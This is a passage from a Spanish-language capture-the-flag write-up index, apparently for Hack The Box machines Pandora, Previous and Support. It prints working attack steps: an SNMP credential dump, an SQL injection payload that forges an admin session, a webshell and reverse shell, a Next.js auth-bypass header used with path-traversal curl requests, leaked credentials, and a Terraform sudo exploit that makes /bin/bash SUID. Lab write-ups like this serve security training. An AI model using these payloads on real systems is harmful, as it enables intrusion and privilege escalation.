exploit, ya que nc no funciona bien en este contexto.\nEjecución / resultados:\n","permalink":"https://synacklabs.github.io/posts/soulmate/","tags":["Linux","Race Condition","Internal Service"],"title":"Soulmate (Easy)"},{"categories":["Machine"],"content":"Resumen Write-up de la máquina Pandora (Easy). Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar UDP, donde aparece SNMP (161/udp) con community string public. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de Pandora FMS, explotamos una SQLi para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a root mediante PATH hijacking en un binario SUID que invoca tar sin ruta absoluta.\nEnumeración Enumeración TCP\nPORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Play | Landing |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel La web en el puerto 80 solo mostraba una landing con formulario de contacto. No encontré una vía clara por ahí.\nEnumeración UDP\nSiguiendo la pista, enumeramos UDP y encontramos SNMP:\nPORT STATE SERVICE VERSION 161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public) Notas rápidas:\nSNMP suele usarse para monitorización y gestión remota. public es una community string típica y, si está expuesta, suele filtrar información sensible. Enumeración SNMP y acceso inicial Usamos snmpbulkwalk para volcar información:\nsnmpbulkwalk -c public -v2c 10.10.11.136 En la salida aparecen credenciales:\ndaniel:HotelBabylon23 Con estas credenciales entramos por SSH.\nPost-explotación (usuario) y pivote a servicio interno Dentro, al revisar directorios, vemos que user.txt pertenece a matt:\ndaniel@pandora:/home/matt$ ls user.txt daniel@pandora:/home/matt$ cat user.txt cat: user.txt: Permission denied Necesitamos escalar o conseguir acceso como matt.\nDurante la enumeración detectamos otra web interna. Hacemos port forwarding del puerto 80 remoto para acceder desde nuestra máquina.\nIntentamos autenticarnos con las credenciales de daniel y no funciona.\nEn el footer se observa la versión del producto, lo que nos lleva a investigar vulnerabilidades conocidas.\nSQLi en Pandora FMS (chart_generator.php) Pandora FMS 742: Critical Code Vulnerabilities Explained Probamos el endpoint vulnerable para confirmar la inyección:\ncurl -sG localhost:80/pandora_console/include/chart_generator.php --data-urlencode \u0026#34;session_id=\u0026#39;\u0026#34; | head -1 Identificamos que es una SQLi error-based en una consulta del estilo:\nSELECT * FROM tsessions_php WHERE `id_session` = \u0026#39;$session_id\u0026#39; LIMIT 1 Determinar número de columnas\nProbando UNION SELECT:\nCon 1 y 2 columnas falla. Con 3 columnas devuelve HTML correctamente. Conclusión: la tabla devuelve 3 columnas.\nDumpeo con sqlmap\nUsamos sqlmap para extraer contenido de tsessions_php y encontramos una sesión de matt:\n| g4e01qdgk36mfdh90hvcc54umq | id_usuario|s:4:\u0026#34;matt\u0026#34;;alert_msg|a:0:{}new_chat|b:0; | 1638796349 | Con esa sesión obtenemos acceso al panel como matt.\nEscalada a admin (secuestro de sesión) Como matt no tenemos permisos de admin (no podemos subir ficheros). La solución es forzar una sesión de admin inyectando el contenido del campo data.\nsession_id=\u0026#39; union select 1,2,\u0026#39;id_usuario|s:5:\u0026#34;admin\u0026#34;;\u0026#39;-- - Esto nos devuelve un id_session válido para admin.\nRCE: subida de webshell Con sesión de admin subimos una shell.php. En el sistema aparece en:\n/var/www/pandora/pandora_console/images/shell.php Accedemos a la webshell y lanzamos reverse shell (en mi caso funcionó mejor con la de pentestmonkey).\nEscalada a root (PATH hijacking en binario SUID) Enumeramos binarios SUID:\nfind / -perm -4000 2\u0026gt;/dev/null Destaca /usr/bin/pandora_backup.\nAl inspeccionar el binario se aprecia que invoca tar sin ruta absoluta. Esto permite PATH hijacking: si controlamos PATH y colocamos un ejecutable llamado tar antes que el real, el binario SUID ejecutará nuestro payload como root.\nEjecución\nDesde la reverse shell no funcionó de forma fiable, pero por SSH sí (tras preparar claves).\nUna vez ajustado el PATH y ejecutado pandora_backup, obtenemos ejecución como root.\n","permalink":"https://synacklabs.github.io/posts/pandora/","tags":["Linux","SQL injection","PATH hijacking"],"title":"Pandora (Easy)"},{"categories":["Machine"],"content":"Resumen Write-up de la máquina Previous (Medium). Incluye enumeración API, Auth bypass, Local File Inclusion, exfiltración de credenciales y uso del binario Terraform para escalar privilegios.\nEnumeración PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0Vq | 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM 80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://previous.htb/ |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel HTTP (Puerto 80) Durante la navegación inicial aparece:\nContacto: jeremy@previous.htb Rutas visibles: GET STARTED y DOCS: /api/auth/signin?callbackUrl=%2Fdocs Descubrimiento de rutas\nSe enumeraron endpoints con dirsearch y la mayoría redirigían a /api/auth/signin?callbackUrl=....\ndirsearch -u previous.htb [12:58:32] 307 - 35B - /api -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi [12:58:32] 307 - 39B - /api.log -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi.log [12:58:32] 307 - 39B - /api-doc -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi-doc [12:58:32] 307 - 38B - / api.py -\u0026gt; /api/auth/signin?callbackUrl=% 2Fapi.py [12:58:32] 307 - 39B - /api.php -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi.php [12:58:32] 307 - 40B - /api-docs -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi-docs [12:58:32] 307 - 44B - /api/config -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fconfig [12:58:32] 307 - 60B - /api/apidocs/swagger.json -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs%2Fswagger.json [12:58:32] 307 - 60B - /api/2/issue/createmeta -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2F2%2Fissue%2Fcreatemeta [12:58:32] 307 - 41B - /api/api -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fapi [12:58:32] 307 - 48B - /api/index.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Findex.html [12:58:32] 307 - 52B - /api/cask/graphql -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fcask%2Fgraphql [12:58:32] 307 - 46B - /api/api-docs -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fapi-docs [12:58:32] 307 - 42B - /api/docs -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fdocs [12:58:32] 307 - 45B - /api/profile -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fprofile [12:58:32] 307 - 43B - /api/batch -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fbatch [12:58:32] 307 - 50B - /api/swagger.json -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.json [12:58:32] 307 - 54B - /api/application.wadl -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fapplication.wadl [12:58:32] 307 - 44B - /api/jsonws -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws [12:58:32] 307 - 48B - /api/login.json -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Flogin.json [12:58:32] 307 - 57B - /api/spec/swagger.json -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fspec%2Fswagger.json [12:58:32] 307 - 47B - /api/snapshots -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fsnapshots [12:58:32] 307 - 47B - /api/error_log -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Ferror_log [12:58:32] 307 - 43B - /api/proxy -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fproxy [12:58:32] 307 - 45B - /api/swagger -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fswagger [12:58:32] 307 - 53B - /api/swagger-ui.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fswagger-ui.html [12:58:32] 307 - 50B - /api/swagger.yaml -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yaml [12:58:32] 307 - 53B - /api/jsonws/invoke -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fjsonws%2Finvoke [12:58:32] 307 - 45B - /api/apidocs -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fapidocs [12:58:32] 307 - 73B - /api/package_search/v4/documentation -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fpackage_search%2Fv4%2Fdocumentation [12:58:32] 307 - 58B - /api/swagger/index.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Findex.html [12:58:32] 307 - 55B - /api/swagger/swagger -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fswagger [12:58:32] 307 - 49B - /api/swagger.yml -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fswagger.yml [12:58:32] 307 - 67B - /api/swagger/static/index.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fstatic%2Findex.html [12:58:32] 307 - 58B - /api/swagger/ui/index -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fswagger%2Fui%2Findex [12:58:32] 307 - 52B - /api/timelion/run -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Ftimelion%2Frun [12:58:32] 307 - 40B - /api/v1 -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fv1 [12:58:32] 307 - 55B - /api/v1/swagger.yaml -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.yaml [12:58:32] 307 - 40B - /api/v3 -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fv3 [12:58:32] 307 - 55B - /api/v1/swagger.json -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fv1%2Fswagger.json [12:58:32] 307 - 40B - /api/v4 -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fv4 [12:58:32] 307 - 74B - /api/vendor/phpunit/phpunit/phpunit -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fvendor%2Fphpunit%2Fphpunit%2Fphpunit [12:58:32] 307 - 45B - /api/version -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fversion [12:58:32] 307 - 40B - /api/v2 -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fv2 [12:58:32] 307 - 62B - /api/v2/helpdesk/discover -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fhelpdesk%2Fdiscover [12:58:32] 307 - 55B - /api/v2/swagger.yaml -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.yaml [12:58:32] 307 - 55B - /api/v2/swagger.json -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fv2%2Fswagger.json [12:58:32] 307 - 39B - /apidocs -\u0026gt; /api/auth/signin?callbackUrl=%2Fapidocs [12:58:32] 307 - 57B - /apiserver-aggregator.cert -\u0026gt; /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.cert [12:58:32] 307 - 49B - /apiserver-key.pem -\u0026gt; /api/auth/signin?callbackUrl=%2Fapiserver-key.pem [12:58:32] 307 - 52B - /apiserver-client.crt -\u0026gt; /api/auth/signin?callbackUrl=%2Fapiserver-client.crt [12:58:32] 307 - 44B - /apibuild.pyc -\u0026gt; /api/auth/signin?callbackUrl=%2Fapibuild.pyc [12:58:32] 307 - 56B - /apiserver-aggregator.key -\u0026gt; /api/auth/signin?callbackUrl=%2Fapiserver-aggregator.key [12:58:32] 307 - 44B - /api/whoami -\u0026gt; /api/auth/signin?callbackUrl=%2Fapi%2Fwhoami [12:58:32] 307 - 60B - /apiserver-aggregator-ca.cert -\u0026gt; /api/auth/signin?callbackUrl=%2Fapiserver-aggregator-ca.cert [12:58:32] 307 - 38B - /apidoc -\u0026gt; /api/auth/signin?callbackUrl=%2Fapidoc [12:58:32] 307 - 36B - /apis -\u0026gt; /api/auth/signin?callbackUrl=%2Fapis [12:58:33] 308 - 19B - /axis//happyaxis.jsp -\u0026gt; /axis/happyaxis.jsp [12:58:33] 308 - 30B - /axis2//axis2-web/HappyAxis.jsp -\u0026gt; /axis2/axis2-web/HappyAxis.jsp [12:58:33] 308 - 24B - /axis2-web//HappyAxis.jsp -\u0026gt; /axis2-web/HappyAxis.jsp [12:58:36] 308 - 52B - /Citrix//AccessPlatform/auth/clientscripts/cookies.js -\u0026gt; /Citrix/AccessPlatform/auth/clientscripts/cookies.js [12:58:40] 307 - 53B - /docs/CHANGELOG.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2FCHANGELOG.html [12:58:40] 307 - 41B - /docs.json -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs.json [12:58:40] 307 - 36B - /docs -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs [12:58:40] 307 - 52B - /docs/changelog.txt -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fchangelog.txt [12:58:40] 307 - 54B - /docs/export-demo.xml -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fexport-demo.xml [12:58:40] 307 - 66B - /docs/html/admin/ch03s07.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch03s07.html [12:58:40] 307 - 38B - /docs51 -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs51 [12:58:40] 307 - 51B - /docs/swagger.json -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fswagger.json [12:58:40] 307 - 67B - /docs/html/developer/ch02.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch02.html [12:58:40] 307 - 54B - /docs/maintenance.txt -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fmaintenance.txt [12:58:40] 307 - 70B - /docs/html/developer/ch03s15.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fdeveloper%2Fch03s15.html [12:58:40] 307 - 56B - /docs/html/index.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Findex.html [12:58:40] 307 - 63B - /docs/html/admin/ch01.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01.html [12:58:40] 307 - 66B - /docs/html/admin/ch01s04.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Fch01s04.html [12:58:40] 307 - 64B - /docs/html/admin/index.html -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fhtml%2Fadmin%2Findex.html [12:58:40] 307 - 51B - /docs/updating.txt -\u0026gt; /api/auth/signin?callbackUrl=%2Fdocs%2Fupdating.txt [12:58:41] 308 - 39B - /engine/classes/swfupload//swfupload.swf -\u0026gt; /engine/classes/swfupload/swfupload.swf [12:58:41] 308 - 42B - /engine/classes/swfupload//swfupload_f9.swf -\u0026gt; /engine/classes/swfupload/swfupload_f9.swf [12:58:43] 308 - 27B - /extjs/resources//charts.swf -\u0026gt; /extjs/resources/charts.swf [12:58:47] 308 - 37B - /html/js/misc/swfupload//swfupload.swf -\u0026gt; /html/js/misc/swfupload/swfupload.swf [12:59:03] 200 - 3KB - /signin Auth Bypass (Next.js / middleware) A partir de Wappalyzer se identificó una versión vulnerable a Auth Bypass.\nLa técnica consistía en añadir un encabezado específico a la request.\nCon el bypass, se siguieron enumerando rutas.\nAparece un endpoint interesante: /api/download.\n/api/download → LFI Se hizo fuzzing del parámetro y aparece el nombre example.\nProbando el endpoint con curl se observa un comportamiento de descarga.\nA partir de ahí se prueba un LFI sobre el parámetro.\n┌──(kali㉿kali)-[~] └─$ curl http://previous.htb/api/download?example=../../../etc/passwd -H \u0026#34;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware\u0026#34; -v * Host previous.htb:80 was resolved. * IPv6: (none) * IPv4: 10.10.11.83 * Trying 10.10.11.83:80... * Connected to previous.htb (10.10.11.83) port 80 * using HTTP/1.x \u0026gt; GET /api/download?example=../../../etc/passwd HTTP/1.1 \u0026gt; Host: previous.htb \u0026gt; User-Agent: curl/8.13.0 \u0026gt; Accept: */* \u0026gt; X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware \u0026gt; * Request completely sent off \u0026lt; HTTP/1.1 200 OK \u0026lt; Server: nginx/1.18.0 (Ubuntu) \u0026lt; Date: Tue, 30 Sep 2025 11:33:47 GMT \u0026lt; Content-Type: application/zip \u0026lt; Content-Length: 787 \u0026lt; Connection: keep-alive \u0026lt; Content-Disposition: attachment; filename=\u0026#34;passwd\u0026#34; \u0026lt; ETag: \u0026#34;41amqg1v4m26j\u0026#34; \u0026lt; root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/mail:/sbin/nologin news:x:9:13:news:/usr/lib/news:/sbin/nologin uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin cron:x:16:16:cron:/var/spool/cron:/sbin/nologin ftp:x:21:21::/var/lib/ftp:/sbin/nologin sshd:x:22:22:sshd:/dev/null:/sbin/nologin games:x:35:35:games:/usr/games:/sbin/nologin ntp:x:123:123:NTP:/var/empty:/sbin/nologin guest:x:405:100:guest:/dev/null:/sbin/nologin nobody:x:65534:65534:nobody:/:/sbin/nologin node:x:1000:1000::/home/node:/bin/sh nextjs:x:1001:65533::/home/nextjs:/sbin/nologin * Connection #0 to host previous.htb left intact Variables de entorno\nSe revisó /proc/self/environ.\n┌──(kali㉿kali)-[~] └─$ curl http://previous.htb/api/download?example=../../../../proc/self/environ -H \u0026#34;X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware\u0026#34; -v --output env % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Host previous.htb:80 was resolved. * IPv6: (none) * IPv4: 10.10.11.83 * Trying 10.10.11.83:80... * Connected to previous.htb (10.10.11.83) port 80 * using HTTP/1.x \u0026gt; GET /api/download?example=../../../../proc/self/environ HTTP/1.1 \u0026gt; Host: previous.htb \u0026gt; User-Agent: curl/8.13.0 \u0026gt; Accept: */* \u0026gt; X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware \u0026gt; * Request completely sent off \u0026lt; HTTP/1.1 200 OK \u0026lt; Server: nginx/1.18.0 (Ubuntu) \u0026lt; Date: Tue, 30 Sep 2025 11:37:25 GMT \u0026lt; Content-Type: application/zip \u0026lt; Content-Length: 216 \u0026lt; Connection: keep-alive \u0026lt; Content-Disposition: attachment; filename=\u0026#34;environ\u0026#34; \u0026lt; ETag: \u0026#34;151dqoq1n56jy\u0026#34; \u0026lt; { [216 bytes data] 100 216 100 216 0 0 517 0 --:--:-- --:--:-- --:--:-- 519 * Connection #0 to host previous.htb left intact NODE_VERSION=18.20.8 HOSTNAME=0.0.0.0 YARN_VERSION=1.22.22 SHLVL=1 PORT=3000 HOME=/home/nextjs PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin NEXT_TELEMETRY_DISABLED=1 PWD=/app NODE_ENV=production Búsqueda en /app (Next.js) Con el LFI se fue explorando el directorio de la aplicación.\nSe localizó:\nNEXTAUTH_SECRET:82a464f1c3509a81d5c973c31a23c61a Además, se obtuvo un fichero app con configuración/rutas de Next.js:\n──(kali㉿kali)-[~] └─$ cat app { \u0026#34;version\u0026#34;: 3, \u0026#34;pages404\u0026#34;: true, \u0026#34;caseSensitive\u0026#34;: false, \u0026#34;basePath\u0026#34;: \u0026#34;\u0026#34;, \u0026#34;redirects\u0026#34;: [ { \u0026#34;source\u0026#34;: \u0026#34;/:path+/\u0026#34;, \u0026#34;destination\u0026#34;: \u0026#34;/:path+\u0026#34;, \u0026#34;internal\u0026#34;: true, \u0026#34;statusCode\u0026#34;: 308, \u0026#34;regex\u0026#34;: \u0026#34;^(?:/((?:[^/]+?)(?:/(?:[^/]+?))*))/$\u0026#34; } ], \u0026#34;headers\u0026#34;: [], \u0026#34;dynamicRoutes\u0026#34;: [ { \u0026#34;page\u0026#34;: \u0026#34;/api/auth/[...nextauth]\u0026#34;, \u0026#34;regex\u0026#34;: \u0026#34;^/api/auth/(.+?)(?:/)?$\u0026#34;, \u0026#34;routeKeys\u0026#34;: { \u0026#34;nxtPnextauth\u0026#34;: \u0026#34;nxtPnextauth\u0026#34; }, \u0026#34;namedRegex\u0026#34;: \u0026#34;^/api/auth/(?\u0026lt;nxtPnextauth\u0026gt;.+?)(?:/)?$\u0026#34; }, { \u0026#34;page\u0026#34;: \u0026#34;/docs/[section]\u0026#34;, \u0026#34;regex\u0026#34;: \u0026#34;^/docs/([^/]+?)(?:/)?$\u0026#34;, \u0026#34;routeKeys\u0026#34;: { \u0026#34;nxtPsection\u0026#34;: \u0026#34;nxtPsection\u0026#34; }, \u0026#34;namedRegex\u0026#34;: \u0026#34;^/docs/(?\u0026lt;nxtPsection\u0026gt;[^/]+?)(?:/)?$\u0026#34; } ], \u0026#34;staticRoutes\u0026#34;: [ { \u0026#34;page\u0026#34;: \u0026#34;/\u0026#34;, \u0026#34;regex\u0026#34;: \u0026#34;^/(?:/)?$\u0026#34;, \u0026#34;routeKeys\u0026#34;: {}, \u0026#34;namedRegex\u0026#34;: \u0026#34;^/(?:/)?$\u0026#34; }, { \u0026#34;page\u0026#34;: \u0026#34;/docs\u0026#34;, \u0026#34;regex\u0026#34;: \u0026#34;^/docs(?:/)?$\u0026#34;, \u0026#34;routeKeys\u0026#34;: {}, \u0026#34;namedRegex\u0026#34;: \u0026#34;^/docs(?:/)?$\u0026#34; }, { \u0026#34;page\u0026#34;: \u0026#34;/docs/components/layout\u0026#34;, \u0026#34;regex\u0026#34;: \u0026#34;^/docs/components/layout(?:/)?$\u0026#34;, \u0026#34;routeKeys\u0026#34;: {}, \u0026#34;namedRegex\u0026#34;: \u0026#34;^/docs/components/layout(?:/)?$\u0026#34; }, { \u0026#34;page\u0026#34;: \u0026#34;/docs/components/sidebar\u0026#34;, \u0026#34;regex\u0026#34;: \u0026#34;^/docs/components/sidebar(?:/)?$\u0026#34;, \u0026#34;routeKeys\u0026#34;: {}, \u0026#34;namedRegex\u0026#34;: \u0026#34;^/docs/components/sidebar(?:/)?$\u0026#34; }, { \u0026#34;page\u0026#34;: \u0026#34;/docs/content/examples\u0026#34;, \u0026#34;regex\u0026#34;: \u0026#34;^/docs/content/examples(?:/)?$\u0026#34;, \u0026#34;routeKeys\u0026#34;: {}, \u0026#34;namedRegex\u0026#34;: \u0026#34;^/docs/content/examples(?:/)?$\u0026#34; }, { \u0026#34;page\u0026#34;: \u0026#34;/docs/content/getting-started\u0026#34;, \u0026#34;regex\u0026#34;: \u0026#34;^/docs/content/getting\\-started(?:/)?$\u0026#34;, \u0026#34;routeKeys\u0026#34;: {}, \u0026#34;namedRegex\u0026#34;: \u0026#34;^/docs/content/getting\\-started(?:/)?$\u0026#34; }, { \u0026#34;page\u0026#34;: \u0026#34;/signin\u0026#34;, \u0026#34;regex\u0026#34;: \u0026#34;^/signin(?:/)?$\u0026#34;, \u0026#34;routeKeys\u0026#34;: {}, \u0026#34;namedRegex\u0026#34;: \u0026#34;^/signin(?:/)?$\u0026#34; } ], \u0026#34;dataRoutes\u0026#34;: [], \u0026#34;rsc\u0026#34;: { \u0026#34;header\u0026#34;: \u0026#34;RSC\u0026#34;, \u0026#34;varyHeader\u0026#34;: \u0026#34;RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch\u0026#34;, \u0026#34;prefetchHeader\u0026#34;: \u0026#34;Next-Router-Prefetch\u0026#34;, \u0026#34;didPostponeHeader\u0026#34;: \u0026#34;x-nextjs-postponed\u0026#34;, \u0026#34;contentTypeHeader\u0026#34;: \u0026#34;text/x-component\u0026#34;, \u0026#34;suffix\u0026#34;: \u0026#34;.rsc\u0026#34;, \u0026#34;prefetchSuffix\u0026#34;: \u0026#34;.prefetch.rsc\u0026#34;, \u0026#34;prefetchSegmentHeader\u0026#34;: \u0026#34;Next-Router-Segment-Prefetch\u0026#34;, \u0026#34;prefetchSegmentSuffix\u0026#34;: \u0026#34;.segment.rsc\u0026#34;, \u0026#34;prefetchSegmentDirSuffix\u0026#34;: \u0026#34;.segments\u0026#34; }, \u0026#34;rewriteHeaders\u0026#34;: { \u0026#34;pathHeader\u0026#34;: \u0026#34;x-nextjs-rewritten-path\u0026#34;, \u0026#34;queryHeader\u0026#34;: \u0026#34;x-nextjs-rewritten-query\u0026#34; }, \u0026#34;rewrites\u0026#34;: [] } Credenciales → SSH Se consultó /app/.next/server/pages/api/auth/[...nextauth].\nDe ahí salieron credenciales:\njeremy:MyNameIsJeremyAndILovePancakes Con esas credenciales se obtuvo acceso por SSH.\nEscalada de privilegios (Terraform con sudo) Privilege Escalation PoC: Terraform sudo Exploit\nRestricción parcial de sudo El usuario jeremy no tiene acceso total a sudo. Sólo puede ejecutar terraform con super privilegios. Comportamiento de Terraform Terraform puede cargar proveedores/plugins. Con TF_CLI_CONFIG_FILE se puede apuntar a una configuración de CLI que defina dev_overrides. Idea del abuso Si Terraform, ejecutándose como root vía sudo, carga un proveedor desde una ruta controlada por el usuario, ese binario se ejecuta con privilegios elevados. PoC\njeremy@previous:/opt/examples$ # 1) Crea el \u0026#34;proveedor\u0026#34; con el nombre que Terraform está buscando cat \u0026gt; /tmp/terraform-provider-examples \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; #!/bin/bash chmod u+s /bin/bash \u0026gt;/tmp/pwn-log 2\u0026gt;\u0026amp;1 EOF chmod +x /tmp/terraform-provider-examples # 2) Asegúrate del TF_CLI_CONFIG_FILE correcto cat \u0026gt; /tmp/dev.tfrc \u0026lt;\u0026lt;\u0026#39;EOF\u0026#39; provider_installation { dev_overrides { \u0026#34;previous.htb/terraform/examples\u0026#34; = \u0026#34;/tmp\u0026#34; } direct {} } EOF export TF_CLI_CONFIG_FILE=/tmp/dev.tfrc sudo /usr/bin/terraform -chdir=/opt/examples apply ls -la /bin/bash ","permalink":"https://synacklabs.github.io/posts/previous/","tags":["Linux","LFI","API","Sudo"],"title":"Previous (Medium)"},{"categories":["Machine"],"content":"Resumen Write-up de la máquina Support (Easy). Incluye enumeración, extracción de credenciales, acceso como usuario y escalada mediante RBCD.\nEnumeración Escaneo de puertos PORT STATE SERVICE REASON VERSION 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-12-26 16:39:41Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49680/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49692/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49697/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49714/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 19155/tcp): CLEAN (Timeout) | Check 2 (port 37046/tcp): CLEAN (Timeout) | Check 3 (port 25972/udp): CLEAN (Timeout) | Check 4 (port 12574/udp): CLEAN (Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: 5s | smb2-time: | date: 2025-12-26T16:40:34 |_ start_date: N/A SMB (445) 